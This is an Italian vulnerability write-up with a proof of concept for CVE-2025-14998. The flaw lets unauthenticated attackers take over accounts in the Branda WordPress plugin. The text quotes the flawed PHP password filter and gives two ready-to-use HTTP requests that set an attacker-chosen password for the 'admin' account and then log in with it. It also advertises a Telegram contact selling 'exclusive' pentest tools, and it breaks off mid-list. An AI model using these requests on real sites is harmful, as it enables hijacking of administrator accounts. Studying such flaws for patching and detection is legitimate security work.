
CVE-2025-14998 Plugin Wordpress - Branda – White Label & Branding, Free Login Page Customizer <= 3.4.24 - Escalation dei privilegi non autenticata tramite Account Takeover
CVE-2025-14998 Il plugin Branda per WordPress è vulnerabile all'escalation dei privilegi tramite account takeover in tutte le versioni fino alla 3.4.24 inclusa. Ciò è dovuto al fatto che il plugin non valida correttamente l'identità di un utente prima di aggiornarne la password. Questo consente ad attaccanti non autenticati di modificare le password di utenti arbitrari, inclusi gli amministratori, e di sfruttare la cosa per ottenere accesso al loro account.
Per altre vulnerabilità WordPress e strumenti pentest esclusivi contattami su Telegram @KtN1990.
Il plugin sovrascrive la logica di generazione delle password di WordPress agganciandosi al filtro random_password. Invece di consentire a WordPress di generare una password casuale sicura, il plugin la sostituisce con un input controllato dall'utente.
public function password_random_password_filter( $password ) {
global $wpdb, $signup_password_use_encryption;
if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
$key = $_GET['key'];
} elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
$key = $_POST['key'];
}
if ( ! empty( $_POST['password_1'] ) ) {
$password = $_POST['password_1'];
} elseif ( ! empty( $key ) ) {
$signup = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
$key
)
);
if ( ! ( empty( $signup ) || $signup->active ) ) {
$meta = maybe_unserialize( $signup->meta );
if ( ! empty( $meta['password'] ) ) {
if ( 'yes' === $signup_password_use_encryption ) {
$password = $this->password_decrypt( $meta['password'] );
} else {
$password = $meta['password'];
}
}
}
}
return $password;
}
POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded
user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password
Il valore di password_1 può essere qualsiasi stringa controllata dall'attaccante.
GET /wp/wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp HTTP/1.1
Host: example.local
Non è richiesto l'accesso alla email o un token di reset valido.
Un attaccante non autenticato può:

-🛡️ Ideale per: – Ricercatori di sicurezza – Penetration tester – Hacker etici
📦 Manutenuta in linea con ~230 moduli di ricerca legacy; recenti miglioramenti al core dello scanner per stabilità e rilevamento.
🎯 Scopo: fornito esclusivamente per test di sicurezza autorizzati, formazione, ricerca difensiva e addestramento red-team. Questa release non è per uso illecito. La distribuzione è soggetta a controllo: accesso solo dopo verifica e firma di un Responsible Use Agreement / NDA.
-🛡 Politica di accesso responsabile (riassunto):